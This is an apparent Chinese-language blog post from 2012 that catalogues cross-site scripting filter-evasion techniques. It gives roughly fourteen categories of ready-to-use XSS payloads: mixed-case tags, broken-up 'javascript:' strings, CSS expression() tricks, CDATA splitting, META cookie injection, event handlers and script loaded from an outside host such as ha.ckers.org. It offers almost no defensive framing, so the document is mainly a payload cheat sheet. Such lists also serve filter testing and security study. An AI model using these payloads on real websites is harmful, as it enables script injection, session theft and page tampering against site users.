Cross Site Scripting(XSS)攻击手法介绍

admin · 发表于 2012-12-31 09:59:28

1. 改变字符大小写

<sCript>alert(‘d’)</scRipT>

2. 利用多加一些其它字符来规避Regular Expression的检查

<<script>alert(‘c’)//<</script>

<SCRIPT a=">" SRC="t.js"></SCRIPT>

<SCRIPT =">" SRC="t.js"></SCRIPT>

<SCRIPT a=">" ” SRC="t.js"></SCRIPT>

<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>

<SCRIPT a=`>` SRC="t.js"></SCRIPT>

<SCRIPT a=">’>" SRC="t.js"></SCRIPT>

3. 以其它扩展名取代.js

<script src="bad.jpg"></script>

4. 将Javascript写在CSS档里

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

   example:

      body {

            background-image: url(‘javascript:alert("XSS");’)

      }

5. 在script的tag里加入一些其它字符

<SCRIPT/SRC="t.js"></SCRIPT>

<SCRIPT/anyword SRC="t.js"></SCRIPT>

6. 使用tab或是new line来规避

<img src="jav ascr ipt:alert(‘XSS3′)">

<img src="jav ascr ipt:alert(‘XSS3′)">

<IMG SRC="jav ascript:alert(‘XSS’);">

      -> tag

      -> new line

7. 使用"\"来规避

<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>

<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>

<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">

<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">

<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>

8. 使用Hex encode来规避(也可能会把";"拿掉)

<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">

      原始码：<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">

      原始码：<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">

9. script in HTML tag

<body onload=」alert(‘onload’)」>

      onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload

10. 在swf里含有xss的code

<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

11. 利用CDATA将xss的code拆开，再组合起来。

<XML ID=I><X><C>

<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>

</C></X>

</xml>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

12. 利用HTML+TIME。

<HTML><BODY>

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">

</BODY></HTML>

13. 透过META写入Cookie。

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">

14. javascript in src , href , url

<IFRAME SRC=javascript:alert(’13′)></IFRAME>

<img src="javascript:alert(‘XSS3′)">

<IMG DYNSRC="javascript:alert(‘XSS20′)">

<IMG LOWSRC="javascript:alert(‘XSS21′)">

<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">

<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>

<TABLE BACKGROUND="javascript:alert(‘XSS29′)">

<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">

<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}

</STYLE><A CLASS=XSS></A>

<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
